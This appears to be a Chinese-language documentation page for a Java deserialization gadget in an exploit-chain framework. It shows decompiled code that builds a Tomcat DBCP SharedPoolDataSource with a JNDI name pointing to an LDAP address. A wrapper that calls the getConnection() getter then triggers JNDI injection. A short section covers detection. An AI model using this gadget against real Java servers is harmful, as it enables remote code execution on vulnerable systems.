Skip to content

Latest commit

 

History

History
59 lines (45 loc) · 2.57 KB

File metadata and controls

59 lines (45 loc) · 2.57 KB

TomcatDbcpDataSource JNDI(TomcatDbcpDataSource)

  • 类别javanative 别名:— 优先级:—
  • 作者:—
  • 依赖org.apache.tomcat:tomcat-dbcp < 8
  • 实现Gadget

作用

构造 Tomcat 8 以前 DBCP SharedPoolDataSource,通过 getter 触发 JNDI DataSource 名称解析。

链接标签

  • 入口 tagsDataSourceChainsSpecialPublicMethodGetterEND
  • 衔接 nextTags:无
  • excludes:无

源码剖析

关键构造逻辑如下,摘自本条对应的 CFR 反编译源码:

public Object getObject() {
        SharedPoolDataSource dataSource = new SharedPoolDataSource();
        dataSource.setDataSourceName(this.jndiUrl);
        return dataSource;
    }

public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
        context.put(ContextTag.SUPER_CLASS_NAME_KEY, DataSource.class);
        context.put(ContextTag.SPECIAL_METHOD_NAME_KEY, "getConnection");
        context.put(ContextTag.GETTER_PARAM_NAME_KEY, "connection");
        return this.getObject();
    }

getObject() 实例化 org.apache.commons.dbcp.datasources.SharedPoolDataSource,调用 setDataSourceName(jndiUrl)

invoke() 写入三类上下文:SUPER_CLASS_NAME_KEY=DataSource.classSPECIAL_METHOD_NAME_KEY=getConnectionGETTER_PARAM_NAME_KEY=connection。这告诉上游 getter/toString 包装器触发 getConnection()

当外层 gadget 能调用 getter 时,SharedPoolDataSource.getConnection() 会按 dataSourceName 解析 JNDI 名称,后续效果取决于 jndiUrl 指向的 Reference。

参数(@Param)

字段 名称 说明 默认 可选值
jndiUrl Jndi地址 "ldap://127.0.0.1:1389/x"

适用版本与原理要点

  • 注解描述:tomcat中的dbcp,可通过getter方法(getConnection)触发此链,转为jndi利用 org.apache.commons.dbcp.datasources.SharedPoolDataSource
  • 依赖条件:org.apache.tomcat:tomcat-dbcp < 8
  • 依赖 org.apache.tomcat:tomcat-dbcp < 8 暴露的 commons-dbcp SharedPoolDataSource。Tomcat 8+ 对应 dbcp2 版本应使用 TomcatDbcp2DataSource。
  • END 标签说明它可以作为链尾构件;如果没有上游包装器触发其返回对象,单独构造不会自动执行。

防御与检测

关注序列化对象中 SharedPoolDataSourcedataSourceName=ldap/rmi、反序列化后 getConnection 调用。

所属预设链

自由构件,未直接出现在预设链中。

关联

  • 机器可读元数据:index/gadgets.json
  • 完整反编译源码:。